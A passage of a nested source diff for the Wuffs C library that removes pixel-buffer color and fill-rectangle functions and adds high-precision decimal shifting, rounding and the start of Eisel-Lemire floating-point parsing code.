++wuffs_private_impl__high_prec_dec__small_lshift( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ if (h->num_digits == 0) { ++ return; ++ } ++ uint32_t num_new_digits = ++ wuffs_private_impl__high_prec_dec__lshift_num_new_digits(h, shift); ++ uint32_t rx = h->num_digits - 1; // Read index. ++ uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. ++ uint64_t n = 0; + +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); ++ // Repeat: pick up a digit, put down a digit, right to left. ++ while (((int32_t)rx) >= 0) { ++ n += ((uint64_t)(h->digits[rx])) << shift; ++ uint64_t quo = n / 10; ++ uint64_t rem = n - (10 * quo); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx] = (uint8_t)rem; ++ } else if (rem > 0) { ++ h->truncated = true; ++ } ++ n = quo; ++ wx--; ++ rx--; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { +- uint8_t* palette = pb->private_impl.planes[3].ptr; +- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(palette + +- (4 * ((size_t)row[x])))); ++ // Put down leading digits, right to left. ++ while (n > 0) { ++ uint64_t quo = n / 10; ++ uint64_t rem = n - (10 * quo); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx] = (uint8_t)rem; ++ } else if (rem > 0) { ++ h->truncated = true; + } ++ n = quo; ++ wx--; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return 0xFF000000 | +- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return 0xFF000000 | +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); ++ // Finish. ++ h->num_digits += num_new_digits; ++ if (h->num_digits > WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->num_digits = WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; ++ } ++ h->decimal_point += (int32_t)num_new_digits; ++ wuffs_private_impl__high_prec_dec__trim(h); ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__swap_u32_argb_abgr( +- 0xFF000000 | +- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- return wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(row + +- (4 * ((size_t)x))))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- return wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__swap_u32_argb_abgr( +- 0xFF000000 | +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++static void // ++wuffs_private_impl__high_prec_dec__small_rshift( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ uint32_t rx = 0; // Read index. ++ uint32_t wx = 0; // Write index. ++ uint64_t n = 0; + +- default: +- // TODO: support more formats. ++ // Pick up enough leading digits to cover the first shift. ++ while ((n >> shift) == 0) { ++ if (rx < h->num_digits) { ++ // Read a digit. ++ n = (10 * n) + h->digits[rx++]; ++ } else if (n == 0) { ++ // h's number used to be zero and remains zero. ++ return; ++ } else { ++ // Read sufficient implicit trailing zeroes. ++ while ((n >> shift) == 0) { ++ n = 10 * n; ++ rx++; ++ } + break; ++ } ++ } ++ h->decimal_point -= ((int32_t)(rx - 1)); ++ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ // After the shift, h's number is effectively zero. ++ h->num_digits = 0; ++ h->decimal_point = 0; ++ h->truncated = false; ++ return; + } + +- return 0; ++ // Repeat: pick up a digit, put down a digit, left to right. ++ uint64_t mask = (((uint64_t)(1)) << shift) - 1; ++ while (rx < h->num_digits) { ++ uint8_t new_digit = ((uint8_t)(n >> shift)); ++ n = (10 * (n & mask)) + h->digits[rx++]; ++ h->digits[wx++] = new_digit; ++ } ++ ++ // Put down trailing digits, left to right. ++ while (n > 0) { ++ uint8_t new_digit = ((uint8_t)(n >> shift)); ++ n = 10 * (n & mask); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx++] = new_digit; ++ } else if (new_digit > 0) { ++ h->truncated = true; ++ } ++ } ++ ++ // Finish. ++ h->num_digits = wx; ++ wuffs_private_impl__high_prec_dec__trim(h); ++} ++ ++static void // ++wuffs_private_impl__high_prec_dec__lshift(wuffs_private_impl__high_prec_dec* h, ++ int32_t shift) { ++ if (shift > 0) { ++ while (shift > +WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ wuffs_private_impl__high_prec_dec__small_lshift( ++ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); ++ shift -= WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_lshift(h, ((uint32_t)(+shift))); ++ } else if (shift < 0) { ++ while (shift < -WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ wuffs_private_impl__high_prec_dec__small_rshift( ++ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); ++ shift += WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, ((uint32_t)(-shift))); ++ } + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_buffer__set_color_u32_at( +- wuffs_base__pixel_buffer* pb, +- uint32_t x, +- uint32_t y, +- wuffs_base__color_u32_argb_premul color) { +- if (!pb) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++// wuffs_private_impl__high_prec_dec__round_etc rounds h's number. For those ++// functions that take an n argument, rounding produces at most n digits (which ++// is not necessarily at most n decimal places). Negative n values are ignored, ++// as well as any n greater than or equal to h's number of digits. The ++// etc__round_just_enough function implicitly chooses an n to implement ++// WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. ++// ++// Preconditions: ++// - h is non-NULL. ++// - h->decimal_point is "not extreme". ++// ++// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++ ++static void // ++wuffs_private_impl__high_prec_dec__round_down( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; + } +- if ((x >= pb->pixcfg.private_impl.width) || +- (y >= pb->pixcfg.private_impl.height)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ h->num_digits = (uint32_t)(n); ++ wuffs_private_impl__high_prec_dec__trim(h); ++} ++ ++static void // ++wuffs_private_impl__high_prec_dec__round_up( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; + } + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ for (n--; n >= 0; n--) { ++ if (h->digits[n] < 9) { ++ h->digits[n]++; ++ h->num_digits = (uint32_t)(n + 1); ++ return; ++ } + } + +- size_t stride = pb->private_impl.planes[0].stride; +- uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); ++ // The number is all 9s. Change to a single 1 and adjust the decimal point. ++ h->digits[0] = 1; ++ h->num_digits = 1; ++ h->decimal_point++; ++} + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); +- break; ++static void // ++wuffs_private_impl__high_prec_dec__round_nearest( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; ++ } ++ bool up = h->digits[n] >= 5; ++ if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { ++ up = h->truncated || // ++ ((n > 0) && ((h->digits[n - 1] & 1) != 0)); ++ } + +- // Common formats above. Rarer formats below. +- +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- wuffs_base__poke_u8__no_bounds_check( +- row + ((size_t)x), +- wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- wuffs_base__poke_u16le__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- wuffs_base__poke_u16be__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- wuffs_base__poke_u8__no_bounds_check( +- row + ((size_t)x), wuffs_base__pixel_palette__closest_element( +- wuffs_base__pixel_buffer__palette(pb), +- pb->pixcfg.private_impl.pixfmt, color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- wuffs_base__poke_u16le__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- wuffs_base__poke_u64le__no_bounds_check( +- row + (8 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( +- color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- wuffs_base__poke_u24le__no_bounds_check( +- row + (3 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr(color))); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); +- break; +- +- default: +- // TODO: support more formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ if (up) { ++ wuffs_private_impl__high_prec_dec__round_up(h, n); ++ } else { ++ wuffs_private_impl__high_prec_dec__round_down(h, n); + } +- +- return wuffs_base__make_status(NULL); + } + +-// -------- +- +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint16_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u16le__no_bounds_check(ptr, color); +- ptr += 2; +- } ++static void // ++wuffs_private_impl__high_prec_dec__round_just_enough( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t exp2, ++ uint64_t mantissa) { ++ // The magic numbers 52 and 53 in this function are because IEEE 754 double ++ // precision has 52 mantissa bits. ++ // ++ // Let f be the floating point number represented by exp2 and mantissa (and ++ // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). ++ // ++ // If f is zero or a small integer, we can return early. ++ if ((mantissa == 0) || ++ ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { + return; + } + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (2 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u16le__no_bounds_check(ptr, color); +- ptr += 2; +- } +- } +-} ++ // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). ++ // Subnormal numbers have the same exp2 but a smaller mantissa. ++ static const int32_t min_incl_normal_exp2 = -1022; ++ static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint32_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u24le__no_bounds_check(ptr, color); +- ptr += 3; +- } +- return; ++ // Compute lower and upper bounds such that any number between them (possibly ++ // inclusive) will round to f. First, the lower bound. Our number f is: ++ // ((mantissa + 0) * (2 ** ( exp2 - 52))) ++ // ++ // The next lowest floating point number is: ++ // ((mantissa - 1) * (2 ** ( exp2 - 52))) ++ // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the ++ // min_incl_normal_exp2. Either way, call it: ++ // ((l_mantissa) * (2 ** (l_exp2 - 52))) ++ // ++ // The lower bound is halfway between them (noting that 52 became 53): ++ // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) ++ int32_t l_exp2 = exp2; ++ uint64_t l_mantissa = mantissa - 1; ++ if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { ++ l_exp2 = exp2 - 1; ++ l_mantissa = (2 * mantissa) - 1; + } ++ wuffs_private_impl__high_prec_dec lower; ++ wuffs_private_impl__high_prec_dec__assign(&lower, (2 * l_mantissa) + 1, ++ false); ++ wuffs_private_impl__high_prec_dec__lshift(&lower, l_exp2 - 53); + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (3 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u24le__no_bounds_check(ptr, color); +- ptr += 3; +- } +- } +-} ++ // Next, the upper bound. Our number f is: ++ // ((mantissa + 0) * (2 ** (exp2 - 52))) ++ // ++ // The next highest floating point number is: ++ // ((mantissa + 1) * (2 ** (exp2 - 52))) ++ // ++ // The upper bound is halfway between them (noting that 52 became 53): ++ // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) ++ wuffs_private_impl__high_prec_dec upper; ++ wuffs_private_impl__high_prec_dec__assign(&upper, (2 * mantissa) + 1, false); ++ wuffs_private_impl__high_prec_dec__lshift(&upper, exp2 - 53); + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint32_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u32le__no_bounds_check(ptr, color); +- ptr += 4; +- } +- return; +- } ++ // The lower and upper bounds are possible outputs only if the original ++ // mantissa is even, so that IEEE round-to-even would round to the original ++ // mantissa and not its neighbors. ++ bool inclusive = (mantissa & 1) == 0; + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (4 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u32le__no_bounds_check(ptr, color); +- ptr += 4; +- } +- } +-} ++ // As we walk the digits, we want to know whether rounding up would fall ++ // within the upper bound. This is tracked by upper_delta: ++ // - When -1, the digits of h and upper are the same so far. ++ // - When +0, we saw a difference of 1 between h and upper on a previous ++ // digit and subsequently only 9s for h and 0s for upper. Thus, rounding ++ // up may fall outside of the bound if !inclusive. ++ // - When +1, the difference is greater than 1 and we know that rounding up ++ // falls within the bound. ++ // ++ // This is a state machine with three states. The numerical value for each ++ // state (-1, +0 or +1) isn't important, other than their order. ++ int upper_delta = -1; + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint64_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u64le__no_bounds_check(ptr, color); +- ptr += 8; ++ // We can now figure out the shortest number of digits required. Walk the ++ // digits until h has distinguished itself from lower or upper. ++ // ++ // The zi and zd variables are indexes and digits, for z in l (lower), h (the ++ // number) and u (upper). ++ // ++ // The lower, h and upper numbers may have their decimal points at different ++ // places. In this case, upper is the longest, so we iterate ui starting from ++ // 0 and iterate li and hi starting from either 0 or -1. ++ int32_t ui = 0; ++ for (;; ui++) { ++ // Calculate hd, the middle number's digit. ++ int32_t hi = ui - upper.decimal_point + h->decimal_point; ++ if (hi >= ((int32_t)(h->num_digits))) { ++ break; + } +- return; +- } ++ uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (8 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u64le__no_bounds_check(ptr, color); +- ptr += 8; ++ // Calculate ld, the lower bound's digit. ++ int32_t li = ui - upper.decimal_point + lower.decimal_point; ++ uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; ++ ++ // We can round down (truncate) if lower has a different digit than h or if ++ // lower is inclusive and is exactly the result of rounding down (i.e. we ++ // have reached the final digit of lower). ++ bool can_round_down = ++ (ld != hd) || // ++ (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); ++ ++ // Calculate ud, the upper bound's digit, and update upper_delta. ++ uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; ++ if (upper_delta < 0) { ++ if ((hd + 1) < ud) { ++ // For example: ++ // h = 12345??? ++ // upper = 12347??? ++ upper_delta = +1; ++ } else if (hd != ud) { ++ // For example: ++ // h = 12345??? ++ // upper = 12346??? ++ upper_delta = +0; ++ } ++ } else if (upper_delta == 0) { ++ if ((hd != 9) || (ud != 0)) { ++ // For example: ++ // h = 1234598? ++ // upper = 1234600? ++ upper_delta = +1; ++ } + } +- } +-} + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- wuffs_base__color_u32_argb_premul color) { +- if (!pb) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { +- return wuffs_base__make_status(NULL); +- } +- wuffs_base__rect_ie_u32 bounds = +- wuffs_base__pixel_config__bounds(&pb->pixcfg); +- if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } ++ // We can round up if upper has a different digit than h and either upper ++ // is inclusive or upper is bigger than the result of rounding up. ++ bool can_round_up = ++ (upper_delta > 0) || // ++ ((upper_delta == 0) && // ++ (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ // If we can round either way, round to nearest. If we can round only one ++ // way, do it. If we can't round, continue the loop. ++ if (can_round_down) { ++ if (can_round_up) { ++ wuffs_private_impl__high_prec_dec__round_nearest(h, hi + 1); ++ return; ++ } else { ++ wuffs_private_impl__high_prec_dec__round_down(h, hi + 1); ++ return; ++ } ++ } else { ++ if (can_round_up) { ++ wuffs_private_impl__high_prec_dec__round_up(h, hi + 1); ++ return; ++ } ++ } + } ++} + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, color); +- return wuffs_base__make_status(NULL); +- +- // Common formats above. Rarer formats below. ++// -------- + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); +- return wuffs_base__make_status(NULL); ++// wuffs_private_impl__parse_number_f64_eisel_lemire produces the IEEE 754 ++// double-precision value for an exact mantissa and base-10 exponent. For ++// example: ++// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. ++// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading ++// minus sign is the responsibility of the caller, not this function. ++// ++// On success, it returns a non-negative int64_t such that the low 63 bits hold ++// the 11-bit exponent and 52-bit mantissa. ++// ++// On failure, it returns a negative value. ++// ++// The algorithm is based on an original idea by Michael Eisel that was refined ++// by Daniel Lemire. See ++// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ ++// and ++// https://nigeltao.github.io/blog/2020/eisel-lemire.html ++// ++// Preconditions: ++// - man is non-zero. ++// - exp10 is in the range [-307 ..= 288], the same range of the ++// wuffs_private_impl__powers_of_10 array. ++// ++// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], ++// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the ++// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal ++// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are ++// approximately 2.23e–308 and 1.80e+308. ++static int64_t // ++wuffs_private_impl__parse_number_f64_eisel_lemire(uint64_t man, int32_t exp10) { ++ // Look up the (possibly truncated) base-2 representation of (10 ** exp10). ++ // The look-up table was constructed so that it is already normalized: the ++ // table entry's mantissa's MSB (most significant bit) is on. ++ const uint64_t* po10 = &wuffs_private_impl__powers_of_10[exp10 + 307][0]; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, color); +- return wuffs_base__make_status(NULL); ++ // Normalize the man argument. The (man != 0) precondition means that a ++ // non-zero bit exists. ++ uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); ++ man <<= clz; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- color)); +- return wuffs_base__make_status(NULL); ++ // Calculate the return value's base-2 exponent. We might tweak it by ±1 ++ // later, but its initial value comes from a linear scaling of exp10, ++ // converting from power-of-10 to power-of-2, and adjusting by clz. ++ // ++ // The magic constants are: ++ // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because ++ // the look-up table uses 64-bit mantissas. ++ // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough ++ // (over the practical range of exp10) to log(10) / log(2) ≈ 3.321928. ++ // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. ++ // ++ // Equality of the linearly-scaled value and the actual power-of-2, over the ++ // range of exp10 arguments that this function accepts, is confirmed by ++ // script/print-mpb-powers-of-10.go ++ uint64_t ret_exp2 = ++ ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( +- color)); +- return wuffs_base__make_status(NULL); ++ // Multiply the two mantissas. Normalization means that both mantissas are at ++ // least (1<<63), so the 128-bit product must be at least (1<<126). The high ++ // 64 bits of the product, x_hi, must therefore be at least (1<<62). ++ // ++ // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi ++ // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore ++ // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. ++ wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); ++ uint64_t x_hi = x.hi; ++ uint64_t x_lo = x.lo; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr(color))); +- return wuffs_base__make_status(NULL); ++ // Before we shift right by at least 9 bits, recall that the look-up table ++ // entry was possibly truncated. We have so far only calculated a lower bound ++ // for the product (man * e), where e is (10 ** exp10). The upper bound would ++ // add a further (man * 1) to the 128-bit product, which overflows the lower ++ // 64-bit limb if ((x_lo + man) < man). ++ // ++ // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right ++ // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit ++ // limb's low 9 bits are all on. ++ // ++ // For example, parsing "9999999999999999999" will take the if-true branch ++ // here, since: ++ // - x_hi = 0x4563918244F3FFFF ++ // - x_lo = 0x8000000000000000 ++ // - man = 0x8AC7230489E7FFFF ++ if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { ++ // Refine our calculation of (man * e). Before, our approximation of e used ++ // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit ++ // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). ++ // Now calculate y = (man * bits_64_to_127_incl_of_e). ++ wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); ++ uint64_t y_hi = y.hi; ++ uint64_t y_lo = y.lo; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, wuffs_base__swap_u32_argb_abgr(color)); +- return wuffs_base__make_status(NULL); +- } ++ // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to ++ // calculate the 192-bit product of the 64-bit man by the 128-bit e. ++ // As we 